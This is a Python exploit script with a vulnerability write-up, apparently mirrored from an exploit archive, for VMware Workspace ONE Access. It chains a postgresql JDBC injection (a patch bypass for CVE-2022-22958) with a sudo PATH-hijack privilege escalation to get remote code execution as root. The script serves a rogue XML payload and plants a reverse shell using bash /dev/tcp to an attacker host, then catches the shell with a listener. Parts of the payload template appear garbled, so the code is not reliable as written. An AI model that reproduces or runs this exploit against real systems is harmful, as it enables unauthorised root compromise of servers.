Share
## https://sploitus.com/exploit?id=SRC-2022-0015
#!/usr/bin/env python3
"""
VMware Workspace ONE Access ApplicationSetupController dbTestConnection JDBC Injection Remote Code Execution Exploit
Steven Seeley of Qihoo 360 Vulnerability Research Institute

# Summary:

This vulnerability allows a remote attacker authenticated as admin to execute remote code as horizon. The attacker can chain this with another vulnerability to achieve code execution as root.

# Notes:

This is a patch bypass for CVE-2022-22958 chained with a new LPE exploit. VMware has patched the bugs in this report and released an advisory here: https://www.vmware.com/security/advisories/VMSA-2022-0021.html.

# Vulnerability Analysis:

## ApplicationSetupController dbTestConnection JDBC Injection (CVE-2022-31665)

Inside of the com.vmware.horizon.svadmin.controller.ApplicationSetupController we can see the following code:

```java
/*     */   public AjaxResponse dbTestConnection(@RequestParam("jdbcurl") String jdbcUrl, @RequestParam("dbUsername") String dbUsername, @RequestParam("dbPassword") String dbPassword) { try {
/*  65 */       validateDbFields(jdbcUrl, dbUsername, dbPassword);
/*  66 */     } catch (AdminPortalException e) {
/*  67 */       return new AjaxResponse(Messages.getMessage(e.getErrorId(), e.getArgs()), Integer.valueOf(1), false);
/*     */     } 
/*     */     
/*     */     try {
/*  71 */       log.info("Testing database connection... jdbcUrl {}, dbUsername {}, passwordSet? {}", new Object[] { jdbcUrl, dbUsername, 
/*  72 */             Boolean.valueOf(StringUtils.isNotBlank(dbPassword)) });
/*  73 */       dbPassword = getDatabasePassword(dbPassword);
/*  74 */       this.applicationSetupService.testDatabaseConnection(jdbcUrl, dbUsername, dbPassword); // 1 
/*  75 */     } catch (AdminPortalException e) {
/*  76 */       String error = null;
/*  77 */       if (StringUtils.isNotBlank(e.getMessage())) {
/*  78 */         error = this.applianceDiagnosticService.getLocalizedDBErrorMessages(e.getMessage());
/*     */       }
/*     */       
/*  81 */       return new AjaxResponse(Messages.getMessage("configurator.configure.db.testFailed", new Object[] { error
/*  82 */             }), Integer.valueOf(2), false);
/*     */     } 
/*  84 */     return new AjaxResponse(Messages.getMessage("configurator.configure.db.testSuccess"), Integer.valueOf(0), true); }
```

At [1] the code calls `ApplicationSetupService.testDatabaseConnection`

```java
/*     */   public void testDatabaseConnection(@NotNull String jdbcUrl, @NotNull String dbUsername, @NotNull String dbPassword, boolean checkCreateTableAccess) throws AdminPortalException {
/*     */     String[] cmd;
/* 210 */     log.debug("Testing db connection params jdbcUrl: {}", jdbcUrl);
/*     */     
/* 212 */     String encryptedPwd = this.configEncrypter.encrypt(dbPassword);
/*     */ 
/*     */     
/* 215 */     dbUsername = AppliancePasswordService.escapeArg(dbUsername);
/* 216 */     jdbcUrl = AppliancePasswordService.escapeArg(jdbcUrl);
/*     */     
/* 218 */     if (Const.isWindowsDeployment) {
/* 219 */       cmd = new String[] { COMMAND_SHELL, COMMAND_SHELL_ARG, "\"\"" + TEST_DB_CONNECTION_CMD + "\"" + " " + jdbcUrl + " " + dbUsername + " \"" + encryptedPwd + "\" " + checkCreateTableAccess + "\"" };
/*     */     } else {
/* 221 */       cmd = new String[] { COMMAND_SHELL, COMMAND_SHELL_ARG, TEST_DB_CONNECTION_CMD + " " + jdbcUrl + " " + dbUsername + " '" + encryptedPwd + "' " + checkCreateTableAccess };
/*     */     } 
/*     */     
/*     */     try {
/* 225 */       CommandUtils.executeCommand(cmd); // 2
/* 226 */     } catch (CommandException e) {
/* 227 */       log.error(String.format("Error testing DB Connection with jdbc url: %s, user: %s.", new Object[] { jdbcUrl, dbUsername }));
/* 228 */       throw new AdminPortalException(StringUtils.removeStart(e.getStdOut(), "ERROR:").trim(), e);
/* 229 */     } catch (IOException e) {
/* 230 */       log.error(String.format("Error testing DB Connection with jdbc url: %s, user: %s.", new Object[] { jdbcUrl, dbUsername }));
/* 231 */       throw new AdminPortalException(e.getMessage(), e);
/*     */     } 
/*     */   }
```

At [2] the code executes the `/usr/local/horizon/bin/dbConnCheck` script which runs the following command. The `AppliancePasswordService.escapeArg` method is safe from injection attacks here (patch for CVE-2020-4006). Inside the script, we see the code drops privileges and calls `com.vmware.horizon.dbConnectionCheck.Main`:

```sh
if [[ $EUID -eq 0 ]]; then
    params=()
    for v in "$@" ; do
      params+=( $(escape "$v") )
    done
    su ${TOMCAT_USER} -c "$JAVACMD $HZN_TOOL_OPTS -cp ${BC_JAR}:${ADMIN_JAR} com.vmware.horizon.dbConnectionCheck.Main ${params[*]}" 2>/dev/null
else
    $JAVACMD $HZN_TOOL_OPTS -cp ${BC_JAR}:${ADMIN_JAR} com.vmware.horizon.dbConnectionCheck.Main $@ 2>/dev/null
fi
```

The resultant command is:

```
su horizon -c /usr/java/jre-vmware/bin/java -Dlog4j.configurationFile=file:/usr/local/horizon/conf/saas-log4j.properties -Dcatalina.base=/opt/vmware/horizon/workspace -Didm.fips.mode.required=true -Djava.security.properties=/opt/vmware/horizon/workspace/conf/idm_fips.security -Dorg.bouncycastle.fips.approved_only=true -cp /usr/local/horizon/jre-endorsed/bc-fips-1.0.1.BC-FIPS-Certified.jar:/usr/local/horizon/jars/dbConnection-0.1-jar-with-dependencies.jar com.vmware.horizon.dbConnectionCheck.Maintrue 2>/dev/null
```

whereis controlled by the attacker. This can lead to an attacker crafting a jdbc uri using specifying a mysql driver and trigger deserialization of untrusted data. The `CommonsBeanutils1` gadget from ysoserial will work to enable an attacker to gain remote code execution.

Below is the stack trace starting from the `com.vmware.horizon.dbConnectionCheck.Main` class that is executing a command (see poc.png):

```
ProcessBuilder.start() line: 1007 [local variables unavailable]	
NativeMethodAccessorImpl.invoke0(Method, Object, Object[]) line: not available [native method]	
NativeMethodAccessorImpl.invoke(Object, Object[]) line: 62	
DelegatingMethodAccessorImpl.invoke(Object, Object[]) line: 43	
Method.invoke(Object, Object...) line: 498	
ReflectiveMethodExecutor.execute(EvaluationContext, Object, Object...) line: 129	
MethodReference.getValueInternal(EvaluationContext, Object, TypeDescriptor, Object[]) line: 139	
MethodReference.access$000(MethodReference, EvaluationContext, Object, TypeDescriptor, Object[]) line: 55	
MethodReference$MethodValueRef.getValue() line: 387	
CompoundExpression.getValueInternal(ExpressionState) line: 92	
CompoundExpression(SpelNodeImpl).getValue(ExpressionState) line: 112	
SpelExpression.getValue(EvaluationContext) line: 272	
StandardBeanExpressionResolver.evaluate(String, BeanExpressionContext) line: 166	
DefaultListableBeanFactory(AbstractBeanFactory).evaluateBeanDefinitionString(String, BeanDefinition) line: 1575	
BeanDefinitionValueResolver.doEvaluate(String) line: 280	
BeanDefinitionValueResolver.evaluate(TypedStringValue) line: 237	
BeanDefinitionValueResolver.resolveValueIfNecessary(Object, Object) line: 205	
DefaultListableBeanFactory(AbstractAutowireCapableBeanFactory).applyPropertyValues(String, BeanDefinition, BeanWrapper, PropertyValues) line: 1702	
DefaultListableBeanFactory(AbstractAutowireCapableBeanFactory).populateBean(String, RootBeanDefinition, BeanWrapper) line: 1447	
DefaultListableBeanFactory(AbstractAutowireCapableBeanFactory).doCreateBean(String, RootBeanDefinition, Object[]) line: 593	
DefaultListableBeanFactory(AbstractAutowireCapableBeanFactory).createBean(String, RootBeanDefinition, Object[]) line: 516	
DefaultListableBeanFactory(AbstractBeanFactory).lambda$doGetBean$0(String, RootBeanDefinition, Object[]) line: 324	
761923430.getObject() line: not available	
DefaultListableBeanFactory(DefaultSingletonBeanRegistry).getSingleton(String, ObjectFactory>) line: 234	
DefaultListableBeanFactory(AbstractBeanFactory).doGetBean(String, Class, Object[], boolean) line: 322	
DefaultListableBeanFactory(AbstractBeanFactory).getBean(String) line: 202	
DefaultListableBeanFactory.preInstantiateSingletons() line: 897	
FileSystemXmlApplicationContext(AbstractApplicationContext).finishBeanFactoryInitialization(ConfigurableListableBeanFactory) line: 879	
FileSystemXmlApplicationContext(AbstractApplicationContext).refresh() line: 551	
FileSystemXmlApplicationContext.(String[], boolean, ApplicationContext) line: 142	
FileSystemXmlApplicationContext.(String) line: 85	
NativeConstructorAccessorImpl.newInstance0(Constructor>, Object[]) line: not available [native method]	
NativeConstructorAccessorImpl.newInstance(Object[]) line: 62	
DelegatingConstructorAccessorImpl.newInstance(Object[]) line: 45	
Constructor.newInstance(Object...) line: 423	
ObjectFactory.instantiate(String, Properties, boolean, String) line: 62	
SocketFactoryFactory.getSocketFactory(Properties) line: 39	
ConnectionFactoryImpl.openConnectionImpl(HostSpec[], String, String, Properties) line: 182	
ConnectionFactory.openConnection(HostSpec[], String, String, Properties) line: 51	
PgConnection.(HostSpec[], String, String, Properties, String) line: 223	
Driver.makeConnection(String, Properties) line: 465	
Driver.connect(String, Properties) line: 264	
DriverManager.getConnection(String, Properties, Class>) line: 664	
DriverManager.getConnection(String, String, String) line: 247	
DbConnectionCheckServiceImpl$FactoryHelper.getConnection(String, String, String) line: 444	
DbConnectionCheckServiceImpl.testConnection(String, String, String, boolean) line: 141	
DbConnectionCheckServiceImpl.checkConnection(String, String, String, boolean) line: 95	
Main.main(String[]) line: 61	
```

## ntpServer.hzn Privilege Escalation Vulnerability (CVE-2022-31664)

Inside of the /etc/sudoers file we see:

```
...
horizon ALL = NOPASSWD: /usr/local/horizon/scripts/horizonService.sh, \
...
/usr/local/horizon/scripts/ntpServer.hzn, \
...
```

This means we can execute the /usr/local/horizon/scripts/ntpServer.hzn script as root. Studying this file we find:

```
...
function check_ntp_server() {
    # check connectivity to the given ntp server
    NTP_SERVER=$1
    for i in $(echo $NTP_SERVER | tr "," "\n")
    do
      echo  "####### Checking for NTP server : $i ########"
      sntp $i // 2
      echo "##############################################################"
      echo "    "
    done
}
...
case "$1" in
    --get)
        get_ntp_server
        ;;
    --check)
        if [ -z "$2" ]
        then
            usage
        fi
        check_ntp_server $2 // 1
```

This code will call `check_ntp_server` at [1]. Then at [2] the code executes the file `sntp`. The problem here is that the file doesn't exist:

```
root@vidm [ /home/sshuser ]# find / -type f -name "sntp"
root@vidm [ /home/sshuser ]#
```

So an attacker can modify the path and add a writeable directory to it and then create the sntp file:

```
horizon@vidm [ /tmp ]$ cat lpe
#!/bin/bash
FILENAME=sntp
rm -rf $FILENAME
cd /tmp
echo '#!/bin/bash' > $FILENAME
echo 'bash' >> $FILENAME
chmod 777 $FILENAME
PATH=".:$PATH" sudo /usr/local/horizon/scripts/ntpServer.hzn --check lol
horizon@vidm [ /tmp ]$ ./lpe
####### Checking for NTP server : lol ########
root [ /tmp ]# id
uid=0(root) gid=0(root) groups=0(root),1000(vami),1004(sshaccess)
root [ /tmp ]#
```

# Exploitation:

To bypass the patch, all I did was use the postgres driver for an attack, instead of MySQL. So it wasn't enough to remove the MySQL Driver and/or gadget chain within the code base.

# Example:

```
researcher@mars:~/research/vidm/patch-bypass$ ./poc.py 
(+) usage: ./poc.py(+) eg: ./poc.py 192.168.2.97 192.168.2.234 admin:Admin22#

researcher@mars:~/research/vidm/patch-bypass$ ./poc.py 192.168.2.97 192.168.2.234 admin:Admin22#
(+) attacking target via the postgresql driver
(+) rogue http server listening on 0.0.0.0:9090
(+) starting handler on port 1234
(+) logged in as admin
(+) triggering jdbc attack...
(+) connection from 192.168.2.97
(+) pop thy shell!
bash: cannot set terminal process group (1686): Inappropriate ioctl for device
bash: no job control in this shell
root [ /tmp ]# id
id
uid=0(root) gid=0(root) groups=0(root),1000(vami),1004(sshaccess)
root [ /tmp ]# uname -a
uname -a
Linux vidm.localdomain 4.19.217-1.ph3 #1-photon SMP Thu Dec 2 02:29:27 UTC 2021 x86_64 GNU/Linux
root [ /tmp ]#
```
"""
import re
import sys
import socket
import requests
from base64 import b64encode
from telnetlib import Telnet
from threading import Thread
from colorama import Fore, Style, Back
from random import getrandbits, choice
from urllib3 import disable_warnings, exceptions
from http.server import BaseHTTPRequestHandler, HTTPServer
disable_warnings(exceptions.InsecureRequestWarning)

beans = """/bin/bash-c"""

lpe_payload = """#!/bin/bash
FILENAME=sntp
rm -rf $FILENAME
cd /tmp
echo '#!/bin/bash' > $FILENAME
echo 'bash -i >& /dev/tcp/{rhost}/{rport} 0>&1' >> $FILENAME
chmod 777 $FILENAME
PATH=".:$PATH" sudo /usr/local/horizon/scripts/ntpServer.hzn --check lol"""

class http_server(BaseHTTPRequestHandler):    
    def log_message(self, format, *args):
        return
    def _set_response(self, d):
        self.send_response(200)
        self.send_header('Content-type', 'text/xml')
        self.send_header('Content-Length', len(d))
        self.end_headers()
    def do_GET(self):
        if self.path.endswith("poc.xml"):
            lpe = lpe_payload.format(rhost=rhost, rport=rport)
            message = beans.format(lpe=b64encode(str.encode(lpe)).decode())
            self._set_response(message)
            self.wfile.write(message.encode('utf-8'))
            self.wfile.write('\n'.encode('utf-8'))

def login(t, u , p):
    d = {
        "username": u,
        "password": p
    }
    r = requests.post("https://%s:8443/cfg/j_security_check" % t, data=d, verify=False, allow_redirects=False)
    assert r.headers['location'] != "/cfg/login?failure=true", "(-) authentication failed, check your credentials"
    assert "JSESSIONID" in r.headers['set-cookie'], "(-) no jsessionid recieved, check your credentials"
    m = re.search("JSESSIONID=(.{32});",r.headers['set-cookie'])
    return m.group(1)

def get_tk(t, c):
    r = requests.get("https://%s:8443/cfg/setup" % t, cookies=c, verify=False)
    m = re.search("window.ec_wiz.vk = '(.*)';", r.text)
    assert m, "(-) cannot find csrf token!"
    return m.group(1)

def trigger_jdbc(t, c, tk, uri):
    h = {"X-Vk" : tk}
    d = {
        "jdbcurl" : uri,
        "dbUsername": "junk",
        "dbPassword" : "junk",
        "encryptConnection": False # needed for 
    }
    requests.post("https://%s:8443/cfg/setup/test" % t, headers=h, data=d, cookies=c, verify=False)
    
def handler(lp):
    print(f"(+) starting handler on port {lp}")
    t = Telnet()
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    s.bind(("0.0.0.0", lp))
    s.listen(1)
    conn, addr = s.accept()
    print(f"(+) connection from {addr[0]}")
    t.sock = conn
    print(f"(+) {Fore.BLUE + Style.BRIGHT}pop thy shell!{Style.RESET_ALL}")
    t.interact()

def main():
    global rhost, rport
    if len(sys.argv) != 4:
        print("(+) usage: %s" % sys.argv[0])
        print("(+) eg: %s 192.168.2.97 192.168.2.234 admin:Admin22#" % sys.argv[0])
        sys.exit(1)
    assert ":" in sys.argv[3], "(-) credentials need to be in user:pass format"
    target = sys.argv[1]
    rhost = sys.argv[2]
    rport = 1234
    http_port = 9090
    if ":" in sys.argv[2]:
        rhost = sys.argv[2].split(":")[0]
        assert sys.argv[2].split(":")[1].isnumeric(), "(-) connectback port must be a number!"
        rport = int(sys.argv[2].split(":")[1])
    usr = sys.argv[3].split(":")[0]
    pwd = sys.argv[3].split(":")[1]
    # patch bypass for CVE-2022-22958
    jdbc = f"jdbc:postgresql://blah:1337/saas?socketFactory=org.springframework.context.support.FileSystemXmlApplicationContext&socketFactoryArg=http://{rhost}:9090/poc.xml"
    cookie = { "JSESSIONID": login(target, usr, pwd) }
    tk = get_tk(target, cookie)
    server = HTTPServer(('0.0.0.0', http_port), http_server)
    handlerthr = Thread(target=server.serve_forever, args=[])
    handlerthr.daemon = True
    handlerthr.start()
    print(f"(+) attacking target via the postgresql driver")
    print(f"(+) rogue http server listening on 0.0.0.0:{http_port}")
    handlerthr = Thread(target=handler, args=[rport])
    handlerthr.start()
    print("(+) logged in as %s" % usr)
    print("(+) triggering jdbc attack...")
    trigger_jdbc(target, cookie, tk, jdbc)

if __name__ == "__main__":
    main()